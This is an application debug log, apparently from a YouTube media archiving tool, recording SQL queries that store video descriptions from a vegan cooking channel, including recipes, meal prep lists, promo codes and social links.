tofu\n1 tbsp tahini\n1 tbsp soy sauce\n1 tsp dijon mustard\n2 tbsp chickpea flour\n1 tbsp nutritional yeast\n½ tsp kala namak\n½ tsp garlic powder\n½ tsp onion powder\n⅛ tsp turmeric\nGround black pepper to taste\n2 to 3 tbsp water to thin\n\n1. Preheat oven to 375F, lightly oil a parchment lined baking tray, set aside.\n2. Combine all sauce ingredients in small bowl until its a creamy, smooth batter. Add more water as needed until it resembles a slightly runnier pancake batter.\n3. Pat dry the block of tofu and cut in half width-wise. Turn each half on its side and slice in ¼” to ½” thick slices. You should get 8 slices\n4. Dip each slice into the eggy paste on both sides, shaking or scraping off any excess on the side of the bowl. Place each slice on the lined baking tray. Spread any leftover batter on the slices. Bake for 25 to 30 minutes, or until the edges of each tofu egg patty are slightly golden and crisp.\n5. Enjoy right away in sandwiches, wraps or on toast, or let cool and store in a sealed container in the fridge for up to 5 days.\n\n*Mashed Chickpea Salad*\n3 cups cooked chickpeas\n2 stalks celery, finely diced\n½ a medium onion, finely diced\n¼ cup vegan mayo\n⅓ cup diced sweet pickles OR ⅓ cup sweet green relish\n2 tbsp dijon mustard\n1 tsp garlic powder\n1 tsp onion powder\n½ tsp smoked paprika\nsalt and pepper to taste\n\n1. In a large mixing bowl, add the cooked chickpeas and mash well with a fork or potato masher. Add all remaining ingredients to the bowl and mix well to combine\n\n*Curried Lentils*\n1 tbsp oil\n2 tsp mustard seeds\n1 small white or yellow onion, chopped\n1 chopped tomato or 1 cup canned diced tomatoes\n1 tbsp curry powder\n2 cloves garlic, minced\n1½ cups dried split red lentils\n3 cups water or veg broth\n¾ tsp salt\nFreshly cracked black pepper\n¾ cup vegan sour cream or plain vegan yogurt\nJuice of 1 lime\n\n1. Heat the oil in a large heavy pot over medium heat. Once the oil is shimmering, add the mustard seeds. Once they start to pop add the onion and tomato. Cook, stirrin (truncated) 20:31:07.352 [debug] QUERY OK source="sources" db=0.9ms queue=0.9ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.355 [debug] QUERY OK source="media_items" db=2.2ms idle=10.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-16 00:00:00Z], 1] 20:31:07.357 [debug] QUERY OK source="media_items" db=1.9ms idle=10.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join me for my high protein meal prep! 🌱 I'll show you how I make lots of high protein vegan and gluten-free meals for the week in just a few hours! 😊 We’ve got vegan chick'n wraps, rich butter chickpeas, two delicious hearty salads and some delicious dressings. If you’re not into eating the same thing every day then this style of meal prep will definitely work for you.\n\n*ALL THE COMPONENTS I PREPPED*\nCARBS/STARCHES: Coconut rice, roasted Japanese sweet potatoes\nPROTEINS: BBQ soy curl chick'n, soy curl chick'n salad, tofu croutons, lentil & chickpea salad, pressured cooked chickpeas\nONE POT MEALS: Butter chickpeas\nSAUCES AND TOPPERS: Vegan ranch powder/dressing, vegan caesar dressing, preserved lemon dressing\n\nThis meal prep takes 3 to 4 hours\n\n*ORDER OF PREP: I started with what takes the longest to cook and the components I needed for several other recipes*\n\n1. Pressure cook chickpeas 40 minutes\n2. Cook coconut rice on stovetop\n3. Roast Japanese sweet potatoes in oven 40 mins @ 400°F\n4. Rehydrate soy curls 10 minutes\n5. Air fry BBQ soy curls 20 minutes\n6. Bake tofu croutons in oven 40 minutes @425°F\n7. Cook butter chickpeas on stovetop\n8. Make soy curl chick’n salad\n9. Make curried black lentil salad\n10. Wash and dry veggies for chopping\n11. Make 3 salad dressings\n12. Chop and store veggies for snacking (optional)\n\nRECIPES MENTIONED IN THIS VIDEO FROM ELSEWHERE ON MY CHANNEL\nBUTTER CHICKPEAS: https://steamyvegan.com/butter-chickp...\nSOY CURL CHICK'N SALAD: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Chicken\u00A0Salad\u00A0Sandwich\u00A0//\u00A0Vegan\u00A0and\u00A0...\u00A0\u00A0\nCURRIED CHICKPEA SALAD: \u00A0\u00A0\u00A0•\u00A03\u00A0Classic\u00A0Summer\u00A0Salad\u00A0Recipes\u00A0with\u00A0a\u00A0Twis...\u00A0\u00A0\nRANCH & CAESAR DRESSING: \u00A0\u00A0\u00A0•\u00A04\u00A0Unique\u00A0Salad\u00A0Dressings\u00A0You've\u00A0Never\u00A0Trie...\u00A0\u00A0 & \u00A0\u00A0\u00A0•\u00A0Stop\u00A0Wasting\u00A0Money\u00A0on\u00A0Store-Bought!\u00A05\u00A0Home...\u00A0\u00A0\nCRISPY BAKED TOFU: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Cook\u00A0Tofu!\u00A0EASY\u00A0Tofu\u00A0Recipes\u00A0I\u00A0Eat\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nFree Music for Videos 👉 Music by Citrus Avenue - Espresso Sun - https://thmatc.co/?l=044B33FD", "High Protein Meal Prep! My High Protein Vegan Meals For Summer", "b8b4bf7b-b09b-4c7c-9c1b-6b37b9c2c324", 1, [], false, "X387IxGZgOo", "https://www.youtube.com/watch?v=X387IxGZgOo", 176, "/downloads/downloads/alec/Steamy Vegan/2024-07-16 High Protein Meal Prep! My High Protein Vegan Meals For Summer/High Protein Meal Prep! My High Protein Vegan Meals For Summer [X387IxGZgOo].NA", false, false, false, 1, ~U[2024-07-16 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Join me for my high protein meal prep! 🌱 I'll show you how I make lots of high protein vegan and gluten-free meals for the week in just a few hours! 😊 We’ve got vegan chick'n wraps, rich butter chickpeas, two delicious hearty salads and some delicious dressings. If you’re not into eating the same thing every day then this style of meal prep will definitely work for you.\n\n*ALL THE COMPONENTS I PREPPED*\nCARBS/STARCHES: Coconut rice, roasted Japanese sweet potatoes\nPROTEINS: BBQ soy curl chick'n, soy curl chick'n salad, tofu croutons, lentil & chickpea salad, pressured cooked chickpeas\nONE POT MEALS: Butter chickpeas\nSAUCES AND TOPPERS: Vegan ranch powder/dressing, vegan caesar dressing, preserved lemon dressing\n\nThis meal prep takes 3 to 4 hours\n\n*ORDER OF PREP: I started with what takes the longest to cook and the components I needed for several other recipes*\n\n1. Pressure cook chickpeas 40 minutes\n2. Cook coconut rice on stovetop\n3. Roast Japanese sweet potatoes in oven 40 mins @ 400°F\n4. Rehydrate soy curls 10 minutes\n5. Air fry BBQ soy curls 20 minutes\n6. Bake tofu croutons in oven 40 minutes @425°F\n7. Cook butter chickpeas on stovetop\n8. Make soy curl chick’n salad\n9. Make curried black lentil salad\n10. Wash and dry veggies for chopping\n11. Make 3 salad dressings\n12. Chop and store veggies for snacking (optional)\n\nRECIPES MENTIONED IN THIS VIDEO FROM ELSEWHERE ON MY CHANNEL\nBUTTER CHICKPEAS: https://steamyvegan.com/butter-chickp...\nSOY CURL CHICK'N SALAD: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Chicken\u00A0Salad\u00A0Sandwich\u00A0//\u00A0Vegan\u00A0and\u00A0...\u00A0\u00A0\nCURRIED CHICKPEA SALAD: \u00A0\u00A0\u00A0•\u00A03\u00A0Classic\u00A0Summer\u00A0Salad\u00A0Recipes\u00A0with\u00A0a\u00A0Twis...\u00A0\u00A0\nRANCH & CAESAR DRESSING: \u00A0\u00A0\u00A0•\u00A04\u00A0Unique\u00A0Salad\u00A0Dressings\u00A0You've\u00A0Never\u00A0Trie...\u00A0\u00A0 & \u00A0\u00A0\u00A0•\u00A0Stop\u00A0Wasting\u00A0Money\u00A0on\u00A0Store-Bought!\u00A05\u00A0Home...\u00A0\u00A0\nCRISPY BAKED TOFU: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Cook\u00A0Tofu!\u00A0EASY\u00A0Tofu\u00A0Recipes\u00A0I\u00A0Eat\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nFree Music for Videos 👉 Music by Citrus Avenue - Espresso Sun - https://thmatc.co/?l=044B33FD", "High Protein Meal Prep! My High Protein Vegan Meals For Summer", 1, nil, false, "X387IxGZgOo", "https://www.youtube.com/watch?v=X387IxGZgOo", "/downloads/downloads/alec/Steamy Vegan/2024-07-16 High Prote (truncated) 20:31:07.359 [debug] QUERY OK source="sources" db=1.1ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.362 [debug] QUERY OK source="media_items" db=2.3ms idle=9.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-14 00:00:00Z], 1] 20:31:07.365 [debug] QUERY OK source="media_items" db=2.2ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make oatmeal! My two fave summer oatmeal recipes with berries are perfect for summer: Cherry Pie Overnight Oats and Lemon Raspberry Baked Oats!\n\nWant more healthy breakfast ideas? Watch my 'breakfasts' playlist next! \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\n\nWant more summer recipes? Check out this playlist! \u00A0\u00A0\u00A0•\u00A0SUMMER\u00A0RECIPES\u00A0\u00A0\n\nRECIPES\n\n*CHERRY PIE OVERNIGHT OATS: 515 calories, 22g protein, 18g fat, 67g carbs*\n1 cup rolled oats\n1 cup unweetened soy milk\n1 cup vanilla plant-based greek-style yogurt\n½ tsp vanilla extract\n½ tbsp maple syrup\n¼ cup + 2 tbsp cherry chia jam\nCherry Chia Jam Ingredients\n4 cups frozen cherries\n4 tbsp maple syrup\n4 tbsp lemon juice\n2 tsp vanilla extract\n4 tbsp chia seeds\nAlmond Crumble Ingredients\n2 tbsp almond meal\n1 tsp maple syrup\n1 tsp nut butter\nPinch of salt\n\n1. Make the cherry chia jam: pulse the frozen cherries in a food processor a few times until they're slightly chunky and only a few left wholly in tact. In a small saucepan combine the cherries, maple syrup, lemon juice, and vanilla and bring to a simmer over medium heat. Once simmering, let cook until very liquidy and the cherries have completely softened. Remove from heat and stir in the chia seeds, let cool for about 10 minutes to thicken.\n2. In a mixing bowl combine the soy milk, yogurt, vanilla and maple syrup. Stir in the oats and set aside to slightly thicken while you prepare the crumb topping.\n3. In a small skillet slowly toast the almond flour over medium heat for 6 to 7 minutes until becoming golden and fragrant but not burnt. Remove from heat immediately and transfer to a small bowl. Stir in the maple syrup, nut butter and pinch of salt until a slightly sticky crumbly mixture forms.\n4. In two small jars or containers press about 1 tbsp of almond crumble into the bottom, then layer in the oats mixture and the chia jam (about 3 tbsp of chia jam per jar, but you can add more!). Sprinkle remaining crumble on top, seal jars and refrigerate overnight. Enjoy the next morning!\n\n*RASPBERRY LEMON BAKED OATS — 465 calories, 17g protein, 65g carbs, 16g fat*\n2 cups rolled oats\n¼ cup oat flour\n2 flax eggs\nZest of 1 lemon\n⅓ cup coconut sugar \n1 tsp vanilla\n1 tsp baking powder\nJuice of 1 lemon, about ¼ cup\n¼ cup unsweetened apple sauce\n¼ cup tahini\n1¼ cup plant milk\n1 cup raspberries, plus extra for topping (if frozen, thawed)\n¼ tps salt\n\n1. Preheat oven to 375F and lightly oil a 9x9 casserole dish.\n2. In a mixing bowl combine the milk, tahini, apple sauce, lemon juice and zest, vanilla, coconut sugar and flax eggs. Stir in the baking powder, oats and oat flour until combined and gently fold in the raspberries (being careful not to mash them up too much).\n3. Bake uncovered for 35 to 45 minutes until slightly firm to the touch and the edges are crisp and golden.\n4. Cut into 4 squares serve and enjoy!\n\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "My Go-To Summer Oats Recipes with Berries! 🍓🫐", "a7264e5b-3b53-43b1-945e-7b15dee6d719", 1, [], false, "Gtd7VOJ33ac", "https://www.youtube.com/watch?v=Gtd7VOJ33ac", 177, "/downloads/downloads/alec/Steamy Vegan/2024-07-14 My Go-To Summer Oats Recipes with Berries! 🍓🫐/My Go-To Summer Oats Recipes with Berries! 🍓🫐 [Gtd7VOJ33ac].NA", false, false, false, 1, ~U[2024-07-14 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Let's make oatmeal! My two fave summer oatmeal recipes with berries are perfect for summer: Cherry Pie Overnight Oats and Lemon Raspberry Baked Oats!\n\nWant more healthy breakfast ideas? Watch my 'breakfasts' playlist next! \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\n\nWant more summer recipes? Check out this playlist! \u00A0\u00A0\u00A0•\u00A0SUMMER\u00A0RECIPES\u00A0\u00A0\n\nRECIPES\n\n*CHERRY PIE OVERNIGHT OATS: 515 calories, 22g protein, 18g fat, 67g carbs*\n1 cup rolled oats\n1 cup unweetened soy milk\n1 cup vanilla plant-based greek-style yogurt\n½ tsp vanilla extract\n½ tbsp maple syrup\n¼ cup + 2 tbsp cherry chia jam\nCherry Chia Jam Ingredients\n4 cups frozen cherries\n4 tbsp maple syrup\n4 tbsp lemon juice\n2 tsp vanilla extract\n4 tbsp chia seeds\nAlmond Crumble Ingredients\n2 tbsp almond meal\n1 tsp maple syrup\n1 tsp nut butter\nPinch of salt\n\n1. Make the cherry chia jam: pulse the frozen cherries in a food processor a few times until they're slightly chunky and only a few left wholly in tact. In a small saucepan combine the cherries, maple syrup, lemon juice, and vanilla and bring to a simmer over medium heat. Once simmering, let cook until very liquidy and the cherries have completely softened. Remove from heat and stir in the chia seeds, let cool for about 10 minutes to thicken.\n2. In a mixing bowl combine the soy milk, yogurt, vanilla and maple syrup. Stir in the oats and set aside to slightly thicken while you prepare the crumb topping.\n3. In a small skillet slowly toast the almond flour over medium heat for 6 to 7 minutes until becoming golden and fragrant but not burnt. Remove from heat immediately and transfer to a small bowl. Stir in the maple syrup, nut butter and pinch of salt until a slightly sticky crumbly mixture forms.\n4. In two small jars or containers press about 1 tbsp of almond crumble into the bottom, then layer in the oats mixture and the chia jam (about 3 tbsp of chia jam per jar, but you can add more!). Sprinkle remaining crumble on top, seal jars and refrigerate overnight. Enjoy the next morning!\n\n*RASPBERRY LEMON BAKED OATS — 465 calories, 17g protein, 65g carbs, 16g fat*\n2 cups rolled oats\n¼ cup oat flour\n2 flax eggs\nZest of 1 lemon\n⅓ cup coconut sugar \n1 tsp vanilla\n1 tsp baking powder\nJuice of 1 lemon, about ¼ cup\n¼ cup unsweetened apple sauce\n¼ cup tahini\n1¼ cup plant milk\n1 cup raspberries, plus extra for topping (if frozen, thawed)\n¼ tps salt\n\n1. Preheat oven to 375F and lightly oil a 9x9 casserole dish.\n2. In a mixing bowl combine the milk, tahini, apple sauce, lemon juice and zest, vanilla, coconut sugar and flax eggs. Stir in the baking powder, oats and oat flour until combined and (truncated) 20:31:07.367 [debug] QUERY OK source="sources" db=1.2ms queue=0.2ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.370 [debug] QUERY OK source="media_items" db=2.2ms idle=10.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-11 00:00:00Z], 1] 20:31:07.372 [debug] QUERY OK source="media_items" db=1.2ms idle=11.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're stocking up for summer in this healthy vegan Costco grocery haul! Mostly whole food plant based groceries with a few fun items to keep things spicy 😁\n\n\nTOTAL SPENT = $315 CAD / $230 USD\n\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "Costco Grocery Haul for SUMMER! Healthy, Vegan and Gluten Free", "2760a1c8-f73e-473f-8a30-4283d1258720", 1, [], false, "7RlKufwc1MI", "https://www.youtube.com/watch?v=7RlKufwc1MI", 178, "/downloads/downloads/alec/Steamy Vegan/2024-07-11 Costco Grocery Haul for SUMMER! Healthy, Vegan and Gluten Free/Costco Grocery Haul for SUMMER! Healthy, Vegan and Gluten Free [7RlKufwc1MI].NA", false, false, false, 1, ~U[2024-07-11 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "We're stocking up for summer in this healthy vegan Costco grocery haul! Mostly whole food plant based groceries with a few fun items to keep things spicy 😁\n\n\nTOTAL SPENT = $315 CAD / $230 USD\n\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "Costco Grocery Haul for SUMMER! Healthy, Vegan and Gluten Free", 1, nil, false, "7RlKufwc1MI", "https://www.youtube.com/watch?v=7RlKufwc1MI", "/downloads/downloads/alec/Steamy Vegan/2024-07-11 Costco Grocery Haul for SUMMER! Healthy, Vegan and Gluten Free/Costco Grocery Haul for SUMMER! Healthy, Vegan and Gluten Free [7RlKufwc1MI].NA", false, ~U[2024-07-11 00:00:00Z]] 20:31:07.373 [debug] QUERY OK source="sources" db=1.0ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.376 [debug] QUERY OK source="media_items" db=2.1ms queue=0.2ms idle=9.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-08 00:00:00Z], 1] 20:31:07.378 [debug] QUERY OK source="media_items" db=1.3ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day to get 100g protein as a vegan! High-protein vegan meals, gluten-free! \n\nBreakfast - Vanilla Chai Apple Oatmeal (410 cal, 22g protein)\nLunch - Cheezy Bean BrocCauli Power Bowl (670 cal, 41g protein)\nSnack - Peanut Butter & Jam Bites (190 cal, 4g protein per bite)\nDinner - BBQ Chick'n Ranch Wrap (350 cal, 18g protein)\n\nLooking for more what I eat in a day videos? Watch this playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: 